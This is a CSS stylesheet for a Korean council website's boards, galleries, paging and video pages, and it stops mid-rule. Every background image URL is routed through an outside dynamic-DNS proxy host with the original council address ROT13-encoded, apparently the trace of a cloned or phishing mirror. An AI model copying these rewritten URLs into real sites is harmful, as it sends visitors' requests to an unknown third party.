@charset "utf-8";

.ico_new{display:inline-block; width:15px; height:15px; line-height:15px; margin:5px 0 0 5px; font-size:10px; font-weight:400; font-family:"arial"; color:#fff; text-align:center; text-transform:uppercase; border-radius:4px 0 4px 0; background:#ff476a; vertical-align:top;}
.ico_lock,
.ico_reply{display:inline-block; width:18px; height:19px; font-size:0; text-indent:-999px; vertical-align:middle; background: url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Svpba_ybpx.tvs) no-repeat;}
.ico_reply{width:30px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Svpb_er.tvs) no-repeat 0 5px;}
.ico_file{padding:0; margin:0; line-height:0;}
.file_wrap{position:relative;}
.file_list{z-index:1; opacity:0; visibility:hidden; position:absolute; top:-10px; right:60px; width:500px; padding:10px 5px 10px 10px; font-size:95%; text-align:left; border-radius:5px; border:1px solid #3d67a1; box-shadow:-5px -5px 5px rgba(0,0,0,0.12); background:#fff; transition:0.4s ease;}
.ico_file.on + .file_list{opacity:1; visibility:visible; top:4px;}

.box_sign .tit_txt{display:inline-block; width:auto !important;}
.box_sign h4:before{display:inline-block !important;}

/* board_btn */
.btn{display:inline-block; min-width:150px; height:50px; line-height:48px; padding:0 10px; color:#fff; font-size:17px; font-weight:400; text-align:center; vertical-align:top; border:1px solid #72727a; background:#72727a; border-radius:0; box-sizing:border-box; text-decoration:none !important;}
.btn.blue{border-color:#014a96; background:#014a96;}
.btn.orange{border-color:#f88020; background:#f88020;}
.btn.white{color:#555; border-color:#555; background:#fff;}
.btn.xls{border-color:#417d45; background:#417d45;}
.btn:hover{color:#72727a; background:#fff; transition:0.2s linear;}
.btn.blue:hover{color:#014a96;}
.btn.orange:hover{color:#f88020;}
.btn.white:hover{color:#fff; background:#555;}
.btn.xls:hover{color:#417d45;}
.btn .glyphicon{top:-1px; vertical-align:middle; margin:0 2px 0 0;}

.board_btn{text-align:right;}
.board_btn .btn + .btn{margin:0 0 0 5px;}

.normal_list .btn{min-width:130px; height:40px; line-height:38px; margin:0 2px 6px;}

#search_result .title .btn{height:35px; line-height:33px; margin:-3px 0 0 5px; font-size:15px;}
@media all and (max-width:768px){
	.btn{height:45px; line-height:43px; min-width:130px; font-size:16px;}
}
@media all and (max-width:568px){
	.btn{height:42px; line-height:40px; min-width:108px; font-size:15px;}

	.board_btn .btn + .btn{margin:0 0 0 5px;}

	.normal_list .btn{min-width:95px; height:35px; line-height:33px;}
	#search_result .title .btn{font-size:14px;}
}
@media all and (max-width:380px){
	.btn{height:39px; line-height:37px; min-width:90px; font-size:14px;}

	.normal_list .btn{min-width:85px; height:30px; line-height:28px;}
	#search_result .title .btn{font-size:13px;}
}

/* 글목록*/
.board_list{clear:both; width:100%; margin:0 0 20px 0; border-collapse:collapse; border-top:2px solid #4b6480;}
.board_list tbody tr:hover{background:#f8f8f8; transition:background 0.3s ease-in-out;}
.board_list th{position:relative; padding:17px 5px; text-align:center; line-height:120%; font-weight:800; border-bottom:1px solid #cfd1d6; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Sot_gu.tvs) repeat-x 0 100%;}
.board_list th:before{content:''; display:block; position:absolute; bottom:0; left:0; width:1px; height:100%; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Sot_gu_yvfg.tvs) no-repeat 100% 100%;}
.board_list th:first-child:before{display:none;}
.board_list td{padding:12px 5px; text-align:center; border-bottom:1px solid #cfd1d6; line-height:150%; color:#606060; background:none; box-sizing:border-box;}
.board_list .none{padding:30px 0;}
.board_list .notice{display:inline-block; height:23px; line-height:23px; padding:0 10px; border-radius:23px; color:#fff; font-size:90%; background:#4b6480;}
.board_list .con,
.board_list .sbj{padding-left:10px; color:#555; text-align:left; font-size:103%; font-weight:800;}
.board_list .none{padding:20px 0; border-right:none;}
.board_list .del_reason{font-size:12px;vertical-align:middle}
.board_list .del_reason i{display:inline-block; margin-right:3px; color:#fd3223}
.board_list .del{opacity:0.6; text-decoration:line-through;}
.board_list td select{max-width:95px;}

/* 글목록 */
.table_wrap{width:100%; margin:0 0 25px 0; box-sizing:border-box;}
.table_info{display:none; padding:0 0 5px !important; line-height:130%; font-size:13px; color:#fc4b05;}
.normal_list{clear:both; width:100%; border-collapse:collapse; table-layout:fixed; text-align:center; border-top:2px solid #4b6480; box-sizing:border-box;}
.normal_list th{padding:11px 5px 10px; color:#333; border:1px solid #d8dbdd; border-right-color:#c9d0d9; border-left:none; background:#edeff2;}
.normal_list thead th{border-top:none;}
.normal_list tbody tr:last-child th,
.normal_list tbody tr:last-child td{border-bottom:1px solid #4b6480;}
.normal_list td{padding:10px 5px; border:1px solid #e8e8e8; border-right-color:#c9d0d9; border-left:none; word-break:break-all; box-sizing:border-box;}
.normal_list th:last-child,
.normal_list td:last-child{border-right:none;}
.normal_list .taL,
.normal_list .sbj,
.normal_list .con{padding-left:10px; color:#333; text-align:left;}
.normal_list .sbj{font-weight:800;}
.normal_list .none{padding:20px 0;}
.normal_list .comment{background:#f7f7f7; text-align:left; padding:10px;}
.normal_list .ellipsis{overflow:hidden; text-overflow:ellipsis; white-space:nowrap;}
.normal_list .bdL{border-left:1px solid #c9d0d9;}
.normal_list .a_right{padding-right:10px; text-align:right;}

/* 글보기 */
.board_view{clear:both; width:100%; margin:0 0 25px; border-collapse:collapse; border-top:2px solid #4b6480;}
.board_view thead th{padding:13px 5px 12px; text-align:center; font-weight:800; border-bottom:1px solid #cfd1d6; background:linear-gradient(to bottom, rgba(255,255,255,1) 0%,rgba(255,255,255,1) 65%, rgba(237,237,237,1) 100%);}
.board_view tbody th{border-bottom:1px solid #cfd1d6;}
.board_view td{height:49px; padding:12px 0; line-height:150%; text-align:center; border-bottom:1px solid #cfd1d6; background:none; box-sizing:border-box;}
.board_view .last-child{background:none;}
.board_view .subject{line-height:1.4em; font-weight:800; background:#f7f7f7; padding:5px 0 5px 0; border-right:1px solid #cfd1d6;}
.board_view .subject2{line-height:1.4em; font-weight:800; background:#f7f7f7; border-right:1px solid #cfd1d6; border-left:1px solid #cfd1d6;}
.board_view .comment{background:#f7f7f7; text-align:left; padding:10px;}
.board_view .comment textarea{width:98%; height:200px;} /* 글쓰기 내용 */
.board_view .comment div img{width:100%;}
.board_view td input.file{width:100%; background:#fff;} /* 글쓰기 첨부파일 */
.board_view td input{margin:0 0 3px 0;} /* 글쓰기 input 박스 */
.board_view td img{max-width:100%; vertical-align:middle;}
.board_view .sbj,
.board_view .con{padding-left:13px; text-align:left;}
.board_view .pic img{max-width:100%;}
.board_view .txt{padding:10px;}
.board_view .pdf_link{margin:0 auto;}
.board_view #attach_content p.image img {width:100%}
.board_view .btn{background-color:#5B6791; border-color:#5B6791;}
.board_view .btn[target="_blank"]:after{opacity:0.6; content:''; display:inline-block; width:12px; height:12px; margin:-1px 0 0 10px; vertical-align:middle; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sxe%2Sznva%2Svpb_ohyyrg.cat) no-repeat 0 -179px;}
.board_view .btn:hover{color:#5B6791; background-color:#fff;}
.board_view .btn[target="_blank"]:hover:after{background-position:-42px -179px;}
.board_view .btn + span{display:inline-block; line-height:48px; padding:0 10px; border:1px solid #ddd; box-sizing:border-box;}

.board_view .board_movie{width:480px; margin:0 auto; text-align:center;}
.attached_file{display:inline-block !important;}
.board_contents ul {list-style: circle inside; margin:0; padding:0;}
.board_contents ol {list-style: decimal inside; margin:0; padding:0;}
.board_contents ul li,
.board_contents ol li {list-style: inherit;}
.board_contents ul li,
.board_contents ol li,
.board_contents p{line-height:1.5em; letter-spacing:0;}
.board_contents li span,
.board_contents p span{font-size:100%;}
.board_contents em { font-style: italic; }
.board_contents table caption {position:initial; left:initial; position:initial; width:inherit; height:initial; font-size:initial; line-height:initial; overflow:initial; text-align:initial;}
.board_contents ul li img{width:100%;}

/* 글쓰기 */
.board_write{clear:both; width:100%; border-spacing:0;  border-collapse:collapse;}
.board_write th{position:relative; padding:13px 5px; text-align:center; font-weight:800; border-bottom:1px solid #ced1d6; background:linear-gradient(to bottom, rgba(63,108,168,1) 0%, rgba(59,100,156,1) 100%);}
.board_write th:before{content:''; display:block; position:absolute; bottom:0; left:0; width:1px; height:100%; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Sot_gu_yvfg.tvs) no-repeat 100% 100%;}
.board_write td{padding:11px 5px; color:#666; text-align:center;  border-bottom:1px solid #ced1d6;}
.board_write .last-child{background:none; border-right:none;}
.board_write .subject{font-weight:800; background:#f1f1f1; border-right:1px solid #ced1d6; border-bottom:1px solid #ced1d6;}
.board_write .subject2{font-weight:800; background:#f1f1f1; border-right:1px solid #ced1d6; border-left:1px solid #ced1d6; border-bottom:1px solid #ced1d6;}
.board_write .write_subject{width:90%;}
.board_write td.comment{background:#f7f7f7; text-align:left; padding:10px;  white-space:pre-line;}
.board_write td.comment textarea{width:98%; height:200px;} /* 글쓰기 내용 */
.board_write td input.file{width:100%; background:#fff;} /* 글쓰기 첨부파일 */
.board_write td input{margin:0 0 3px 0;} /* 글쓰기 input 박스 */
.board_write .con{padding-left:15px; text-align:left;}
.board_write .imp{color:red;}

/* 비밀번호 */
#password{clear:both; width:100%; margin:0 auto; padding:10px; border-top:2px solid #d4d4d4; border-bottom:1px solid #d4d4d4; box-sizing:border-box;}
#password .detail{margin:0 0 5px 0;}
#password .detail .title{margin:0 0 10px 0;}
#password .btn{margin:25px 0 0 0; text-align:center;}

/* 비밀번호 확인*/
.box_chk {overflow:hidden; max-width:350px; margin:95px auto 0;}
.box_chk .inner{height:163px; width:100%; margin:0 0 26px; padding:26px 0 0 18.857%; border:4px solid #c3c3c3; box-sizing:border-box;}
.box_chk .inner *{display:block;}
.box_chk .tit{font-size:22px;}
.box_chk .info{padding:8px 0 12px;}
.box_chk input{max-width:200px;}
.box_chk .btn{float:right; width:48.571%;}
.box_chk .btn.blue{float:left;}

@media all and (max-width:568px) {
	.box_chk .tit{font-size:21px;}
}
@media all and (max-width:380px) {
	.box_chk .tit{font-size:20px;}
}

/* 게시물검색 */
.board_search{clear:both; width:100%; margin:10px 0 20px 0; padding:10px 0 10px 0; text-align:center; background:#f9f9f9; border-top:1px solid #ccc; border-bottom:1px solid #ccc; position: relative;}
.board_search form .search{padding:0 10px 0 0; text-align:center;}
.board_search form select{background:#fafafa;}
.board_search .btnSearch{padding:0 0 0 5px; border:0;}
.board_search * {vertical-align:middle;}
.board_search input[type="text"]{max-width:50%;}
.board_search input[type="text"].w80{width:80px;}
.board_search .btn{min-width:60px; height:42px; line-height:40px;}

/* board_sch */
.board_total{float:left; padding:0 0 9px 0; box-sizing:border-box;}

.board_sch{float:left; width:100%; margin:0 0 35px; padding:37px 87px 37px 84px; text-align:center; border-radius:5px 5px 50px 5px; background:#f1f3f5; box-sizing:border-box;}
.board_sch fieldset{display:block; position:relative; padding:0 54px 0 241px;}
.board_sch .sel{position:absolute; top:0; left:0; width:226px;}
.board_sch .sel:after{content:''; display:block; position:absolute; top:21px; right:22px; transform:rotate(45deg); width:8px; height:8px; border-bottom:2px solid #3b4969; border-right:2px solid #3b4969;}
.board_sch select,
.board_sch input[type="text"]{width:100%; height:54px; line-height:42px; padding:0 0 0 22px; font-size:18px; font-weight:800; border:2px solid #3c4968; box-sizing:border-box; background:none; background-color:#fff;}
.board_sch select{-webkit-appearance:none; -moz-appearance:none; -moz-appearance:none;}
.board_sch select::-ms-expand{display:none;}
.board_sch .btn{position:absolute; top:0; right:0; height:54px; width:54px; line-height:45px; min-width:0; padding:0; font-size:0; text-indent:-999px; border:none; border-radius:0; background:#3c4968;}
.board_sch .btn:before,
.board_sch .btn:after{content:''; display:block; position:absolute; top:16px; left:16px; width:18px; height:18px; border:3px solid #fff; border-radius:50%; box-sizing:border-box;}
.board_sch .btn:after{left:30px; top:32px; width:9px; height:3px; border:none; border-radius:2px; transform:rotate(45deg); background:#fff;}
.board_sch .btn:hover{background-color:#444;}
@media all and (max-width:1024px){
	.board_sch {padding:30px 70px; margin:0 0 30px;}
	.board_sch fieldset{padding:0 54px 0 170px;}
	.board_sch .sel{width:160px;}
	.board_sch .sel:after{top:19px;}
	.board_sch select,
	.board_sch input[type="text"]{height:50px; line-height:50px; line-height:47px; font-size:17px;}
	.board_sch .btn{height:50px; line-height:50px;}
	.board_sch .btn:before{top:13px;}
	.board_sch .btn:after{top:29px; left:29px;}
}
@media all and (max-width:768px){
	.board_sch {padding:25px 60px; margin:0 0 25px; border-radius:5px 5px 35px 5px;}
	.board_sch fieldset{padding:0 54px 0 140px;}
	.board_sch .sel{width:130px;}
	.board_sch .sel:after{top:17px;}
	.board_sch select,
	.board_sch input[type="text"]{height:46px; line-height:46px; line-height:43px; padding:0 0 0 12px; font-size:16px;}
	.board_sch .btn{height:46px; line-height:46px;}
	.board_sch .btn:before{top:12px;}
	.board_sch .btn:after{top:28px;}
}
@media all and (max-width:568px){
	.board_total{width:100%; padding:0 0 7px 0; font-size:14px;}

	.board_sch{padding:20px 35px; margin:0 0 20px; border-radius:5px 5px 25px 5px;}
	.board_sch fieldset{padding:0 44px 0 105px;}
	.board_sch .sel{width:100px;}
	.board_sch .sel:after{top:15px; right:15px;}
	.board_sch select,
	.board_sch input[type="text"]{height:42px; line-height:42px; line-height:39px; padding:0 0 0 8px; font-size:15px;}
	.board_sch .btn{height:42px; width:44px; line-height:42px;}
	.board_sch .btn:before{top:10px; left:11px;}
	.board_sch .btn:after{top:26px; left:24px;}
}
@media all and (max-width:380px){
	.board_total{font-size:13px;}

	.board_sch{padding:17px 27px; margin:0 0 17px;  border-radius:5px 5px 20px 5px;}
	.board_sch fieldset{padding:0 44px 0 88px;}
	.board_sch .sel{width:84px;}
	.board_sch .sel:after{top:12px; right:10px;}
	.board_sch select,
	.board_sch input[type="text"]{height:37px; line-height:37px; line-height:34px; padding:0 0 0 6px; font-size:14px;}
	.board_sch .btn{height:37px; line-height:37px;}
	.board_sch .btn:before{top:7px;}
	.board_sch .btn:after{top:23px;}
}

#sub_gallery .boardSearch{overflow:hidden; width:100%; height:20px; border-bottom:2px solid #8da6d1; padding:0 0 10px 0; margin:0 0 23px 0;}
#sub_gallery .total{float:left;}
#sub_gallery .boardSearch fieldset{float:right;}
#sub_gallery .boardSearch select{width:78px; border:1px solid #7f9db9; line-height:18px; height:18px;}
#sub_gallery .boardSearch #key{width:110px; height:16px; line-height:16px; margin:0; padding:0;}
#sub_gallery .none{padding:50px 0; background:#f9f9f9; border-top:1px solid #ccc; border-bottom:1px solid #ccc; text-align:center;}

/* 게시판 버튼 */
.board_btn{clear:both; overflow:hidden; width:100%; margin:0 0 10px 0; padding:30px 0 0 0; text-align:right;}

/* normal table */
.normal{width:100%; border-collapse:collapse; text-align:center;}
.normal th,
.normal td{padding:8px 5px; border:1px solid #ced1d6;}
.normal th{background:#f7f7f7;}
.normal .sbj,
.normal .con{padding-left:10px; text-align:left; word-break:keep-all;}
.normal img{max-height:90px; margin-left:10px;}
.normal .btn{min-width:0; width:100%; background-color:#5B6791; border-color:#5B6791;}
.normal .btn:hover{color:#5B6791; background-color:#fff;}


/* 포토갤러리 */
.photo{clear:both; overflow:hidden; width:100%; border-bottom:1px solid #d9d9d9;}
.photo li{float:left; width:163px; padding:0 0.85em 1.5em 0.85em;}
.photo li p.pic{width:151px; margin:0; padding:5px; background:#f5f5f5; border:1px solid #eaeaea;}
.photo li p.pic a{display:inline-block; width:149px; height:99px; border:1px solid #fff;}
.photo li p.pic a img{width:149px; height:99px;}
.photo li p.day,
.photo li p.date{padding:5px 0 0 14px; text-align:left; color:#9d7b4f; font-weight:800; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Svpb_qngr.tvs) no-repeat 0 8px;}
.photo li p.title{padding:0 0 0 14px; text-align:left; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Svpb_gvgyr.tvs) no-repeat 0 4px;}
table.bbs_gallery div#attach_content_container {margin:0 auto 10px;max-width:700px;} /* 160325 배장호 */
table.bbs_gallery div#attach_content_container li.image_list p.comment {text-align:center;}

.photo2{clear:both; width:100%; width:calc(100% + 24px); margin:0 -12px;}
.photo2:after{content:''; display:block; clear:both; width:100%;}
.photo2 li{float:left; width:33.333%; padding:0 12px; margin:0 0 27px 0; box-sizing:border-box; vertical-align:top;} 
.photo2 li *{display:block;}
.photo2 li a{overflow:hidden; box-shadow:0 0 8px rgba(0,0,0,0.1); height:285px; border-radius:15px 0 15px 0; border:1px solid #eee; background:#fff;}
.photo2 li a:hover{box-shadow:0 0 0 1px #0061ac; border-color:#0061ac; transition:0.25s ease-in-out;}
.photo2 li .img{overflow:hidden; text-align:center;}
.photo2 li .img img{display:inline; width:100%; max-height:188px; transition:all 0.25s ease-in-out;}
.photo2 li a:hover img,
.photo2 li a:focus img{transform:scale(1.1);}
.photo2 li .txt{padding:17px 10px 17px 20px; text-align:left;}
.photo2 li .title{overflow:hidden; width:100%; padding:0 0 5px; text-overflow:ellipsis; white-space:nowrap; font-weight:800;}
.photo2 li .date{color:#838383; font-size:95%;}

@media all and (max-width:840px){
	.photo2 li{margin:0 0 24px;}
	.photo2 li a{height:250px;}
	.photo2 li .img img{max-height:155px;}
}
@media all and (max-width:680px){
	.photo2 li a{height:220px;}
	.photo2 li .img img{max-height:130px;}
}
@media all and (max-width:568px){
	.photo2 {width:calc(100% + 14px); margin:0 -7px}
	.photo2 li{width:50%; margin:0 0 16px; padding:0 7px;}
}
@media all and (max-width:430px){
	.photo2 li a{height:200px;}
	.photo2 li .img img{max-height:115px;}
	.photo2 li .txt{padding:12px 5px 0 14px;}
}
@media all and (max-width:380px){
	.photo2 li{margin:0 0 14px;}
	.photo2 li a{height:175px;}
	.photo2 li .img img{max-height:101px;}
	.photo2 li .title{padding:0 0 2px;}
}
@media all and (max-width:340px){
	.photo2 li a{height:162px;}
	.photo2 li .img img{max-height:90px;}
}


/* pagingNav */
#pagingNav{display:flex; flex-wrap:wrap; justify-content:center; clear:both; width:100%; margin:50px 0 20px; text-align:center;}
#pagingNav a{position:relative; display:inline-block; width:37px; height:37px; line-height:37px; margin:0 0 5px -1px; font-size:15px; color:#000; vertical-align:top; text-align:center; border:1px solid #d2d2d2; background:#fff;}
#pagingNav a:hover,
#pagingNav a:focus{z-index:1; border-color:#002d68; background-color:#f8fbff; transition:background-color 0.25s ease-in-out;}
#pagingNav a.num_current,
#pagingNav a.num_current:hover,
#pagingNav a.num_current:focus{color:#fff; font-weight:400; border-color:#002d68; background:#002d68; text-decoration:underline;}
#pagingNav .num_first,
#pagingNav .num_prev,
#pagingNav .num_right,
#pagingNav .num_last{font-size:0; text-indent:-999px; background:#fff url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Svpb_obneq.tvs) no-repeat 10px 12px;}
#pagingNav .num_first{margin:0 20px 0 0;}
#pagingNav .num_prev{background-position:9px -16px;}
#pagingNav .num_right{background-position:17px -41px;}
#pagingNav .num_last{margin:0 0 0 20px; background-position:14px -68px;}

@media all and (max-width:1024px){
	#pagingNav{margin:40px 0 15px;}
}
@media all and (max-width:768px){
	#pagingNav{margin:35px 0 15px;}
}
@media all and (max-width:568px){
	#pagingNav{margin:30px 0 10px;}
	#pagingNav a{width:27px; height:27px; line-height:27px;}
	#pagingNav .num_first{margin:0 10px 0 0; background-position:6px 7px;}
	#pagingNav .num_last{margin:0 0 0 10px; background-position:6px -73px;}
	#pagingNav .num_right{background-position:11px -47px;}
	#pagingNav .num_prev{background-position:4px -21px;}
}

/* 페이지네비게이션 */
#pagingNav2{clear:both; position:relative; margin:25px auto 0 auto; font-size:92%; text-align:center; line-height:1.7em; font-weight:800;}
#pagingNav2 a{display:inline-block; padding:4px; color:#000; text-decoration:none; font-weight:normal; vertical-align:top;}
#pagingNav2 a:hover{color:#d43415; text-decoration:none;}
#pagingNav2 .num_current{color:#d43415; text-decoration:underline; font-weight:800;}
#pagingNav2 .num_first{padding:4px 4px 4px 10px; color:#555; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Soy_svefg.tvs) no-repeat left center;}
#pagingNav2 .num_left{padding:4px 4px 4px 6px; color:#555; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Soy_yrsg.tvs) no-repeat left center;}
#pagingNav2 .num_right{padding:4px 6px 4px 4px; color:#555; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Soy_evtug.tvs) no-repeat right center;}
#pagingNav2 .num_last{padding:4px 10px 4px 4px; color:#555; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Soy_ynfg.tvs) no-repeat right center;}

/* 본인인증 */
#sub_auth{width:100%; margin:0 auto; padding:0;}
#sub_auth h3{clear:both; margin:0 0 10px 0; font-weight:800; font-size:150%; line-height:110%; color:#4277ef;}
#sub_auth h4{clear:both; margin:25px 0 10px 0; font-weight:800; font-size:125%; line-height:110%; color:#4277ef;}
#sub_auth h4:before,
#sub_auth h4:after{display:none;}
#sub_auth h5{clear:both; margin:10px 0 5px 0;}
#sub_auth #auth_opt{overflow:hidden; width:100%; margin:15px 0;}
#sub_auth #auth_opt #opt_real{float:left;}
#sub_auth #auth_opt #opt_phone{float:left;}
#sub_auth #auth_opt #opt_ipin{float:right;}
#sub_auth #auth_opt .opt_list{float:left; width:48%; padding:15px 20px; box-sizing:border-box; border:1px solid #ccc;}
#sub_auth #auth_opt .opt_list h4{margin:0; padding:10px 0; text-align:center; background:#f5f5f5;}
#sub_auth #auth_opt .opt_list .info{padding:10px 0 20px 0;}
#sub_auth #auth_opt .btn{height:40px; line-height:38px; font-size:15px; text-align:center;}

/* 공공아이핀만 사용할경우 */
#sub_auth #auth_opt .only{position:relative; overflow:hidden; width:100%; margin:0 auto; padding:10px; border:1px solid #ccc; box-sizing:border-box;}
#sub_auth #auth_opt .only h4{margin:0; padding:10px 0; text-align:center; background:#f5f5f5;}
#sub_auth #auth_opt .only .info{padding:10px 0 20px 0;}
#sub_auth #auth_opt .only .btn{text-align:center;}

#sub_auth .auth_agree{position:relative; overflow:auto; width:100%; height:150px; padding:5px 0; font-size:90%; text-indent:10px; border:1px solid #ccc;}
#sub_auth .auth_agree dt{font-weight:800;}
#sub_auth .auth_info p{margin:0 0 5px 0; font-weight:800;}
#sub_auth .auth_info p span{color:#cb4117;}
#sub_auth .auth_info .check_info{padding:25px 0 0 0; text-align:center;}
#sub_auth .auth_btn{clear:both; float:left; width:100%; padding:20px 0 0 0;}
#sub_auth .auth_btn .agree{float:left;}
#sub_auth .auth_btn .btn{float:right;}
#sub_auth .red a{color:#ff5400;}

/* 이용동의 */
#divcheck {clear:both; padding:20px 0 10px; border:1px solid #ccc; margin:0 0 20px 0;}
#divcheck p.title{font-weight:800; padding:0 0 0 15px; margin:0 0 10px 5px; border-left:3px solid #dc2a2a;}
#divcheck dl{padding:10px; border-top:1px solid #ccc; border-bottom:1px solid #ccc;}
#divcheck dt{font-weight:800;}
#divcheck dd{padding:0 0 10px 10px;}
#divcheck p.agree{padding:10px 0 0 10px; font-weight:800; color:#1d51bb;}
#divcheck p.agree input{border:none; vertical-align:middle;}

/* 의회에바란다 */
#att_box{padding:1em; border:1px solid #c8c8c8; background:#fafafa; margin:0 0 10px 0;}
#btn_law{width:100%; text-align:center; margin:0 0 10px 0;}
#btn_law a{display:inline-block; width:150px; height:28px; line-height:28px; color:#fff; background:#f7512a;}
#btn_law .off a{color:#fcff00;}
#btn_law .skip{display:none;}
#slide_law{margin:0 0 20px 0; display:none;}
#slide_law p{padding:1em; border:1px solid #c8c8c8;}

/* 동영상의정활동 */
.cast_list {overflow:hidden; width:100%; margin:0 0 2em 0;}
.cast_list .img{float:left; width:213px; margin:3px 0 0 0;}
.cast_list .img img{border:3px solid #d1d1d1;}
.cast_list .txt{float:right; width:70%;}
.cast_list .txt li{padding:0.3em 0; border-top:1px solid #e7e7e7;}
.cast_list .txt li:first-child{border-top:none; padding-top:0;}
.cast_list .txt li *{display:inline-block; vertical-align:top;}
.cast_list .txt li .tit{width:45px;}
.cast_list .txt li .con{width:75%; overflow:hidden; text-overflow:ellipsis; word-wrap:normal;}

/* 홍보영상 */
.vod_player video{width:100%; height:400px;}
.vod_comment{width:100%; max-height:200px; margin:0 0 2em; overflow-y:auto; padding:1em; border:1px solid #ddd; background:#fafafa; box-sizing:border-box;}

/* 의정소식*/
.vod_tit {padding:0 0 15px;}
.vod_tit .tit{font-size:24px; color:#303030;}
.vod_tit p{color:#626262; font-size:14px; text-transform:uppercase;}
.vod_tit p span{padding:0 5px;}
.vod_play{position:relative;}
.vod_play > div{display:inline-block; vertical-align:top;}
.vod_play .player{width:69.25%; height:360px; max-width:640px; background:#000;}
.vod_play .comment{position:absolute; right:0; top:0; width:100%; padding:0 0 0 655px; box-sizing:border-box;}
.vod_play .comment .inner{width:100%; border:1px solid #ddd; box-sizing:border-box;}
.vod_play .comment .tit{display:block; width:100%; height:60px; padding:18px 0 0 40px; font-size:20px; color:#303030; border-bottom:1px solid #ddd; box-sizing:border-box; background:#ebebeb url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Svpb_yvfg.cat) no-repeat 15px 55%;}
.vod_play .comment .txt{overflow-y:auto; overflow-x:hidden; height:300px; padding:10px; box-sizing:border-box;}
.vod_btns{margin:0 0 30px; padding:30px 0 35px; text-align:center; border-bottom:2px dashed #ccc;}
.vod_btns .btn_down{position:relative; width:160px; height:45px; padding:0 25px 0 0; font-size:17px; color:#fff; background:#235cb4; transition:0.3s;}
.vod_btns .btn_down:hover,
.vod_btns .btn_down:focus{background:#0a49ab;}
.vod_btns .btn_down:after{content:''; position:absolute; top:12px; left:50%; display:block; width:24px; height:23px; margin:0 0 0 37px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Svpb_ivrj.cat) no-repeat; background-size:100%;}
.vod_btns .num{position:relative; width:80px; height:45px; line-height:45px; padding:0 0 0 30px; margin:0 0 0 10px; border:1px solid #ddd; box-sizing:border-box; background:#ebebeb url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Svpb_erpbzzraq.tvs) no-repeat 13px 50%; transition:0.3s;}
.vod_btns .num:hover,
.vod_btns .num:focus{border-color:#888;}
.vod_btns *,
.vod_list *{display:inline-block; vertical-align:top;}
.vod_list li{width:31%; padding:0 1% 20px; text-align:center;}
.vod_list a{position:relative; width:100%; max-width:280px; height:247px; padding:12px; border:1px solid #ddd; transition:0.3s; box-sizing:border-box;}
.vod_list a:after{content:''; display:block; position:absolute; top:0; left:0; width:0; height:100%; transition:0.3s; background:rgba(15,135,255,0.1);}
.vod_list a:hover:after,
.vod_list a:focus:after{width:100%;}
.vod_list a:hover,
.vod_list a:focus{color:#000; border-color:#1086ff;}
.vod_list .img img{width:100%; max-height:144px;}
.vod_list .txt {position:relative; width:100%; padding:32px 0 0 0;}
.vod_list .txt:before{content:''; display:block; position:absolute; top:-25px; left:50%; width:50px; height:50px; margin:0 0 0 -25px; background:url(http://docinfo.docicloud.dynv6.net/portal/?wreply=3mail@a.b.c0&m=uggc%3N%2S%2Spbhapvy.tnatujn.tb.xe%2Svzntrf%2Sobneq%2Svpb_cynl.cat) no-repeat;}
.vod_list a:hover .txt:before,
.vod_list a:focus .txt:before{opacity:0.75;}
.vod_list .txt *{display:block; text-align:center;}
.vod_list .txt em{white-space:nowrap; overflow:hidden; text-overflow:ellipsis; font-size:18px;}
.vod_list .txt .hit{font-size:12px; color:#606060;}

@media all and (max-width:1024px){
    .board_view .pic{width:85%;}
    .board_view .pic img{max-width:100%;}
    .board_view .info{width:85%;}
    .board_view .txt{width:80%;}

    table.bbs_gallery div#attach_content_container {margin:0 auto 10px;max-width:520px;} /* 160325 배장호 */
    .photo li{float:none; display:inline-block; padding:0 0.5em 1.5em 0.5em;}

	.board_search2 select{width:20%;}
	.board_search2 input[type="text"]{width:44%;}

	#attach_content .pdf_list .pdf_link,
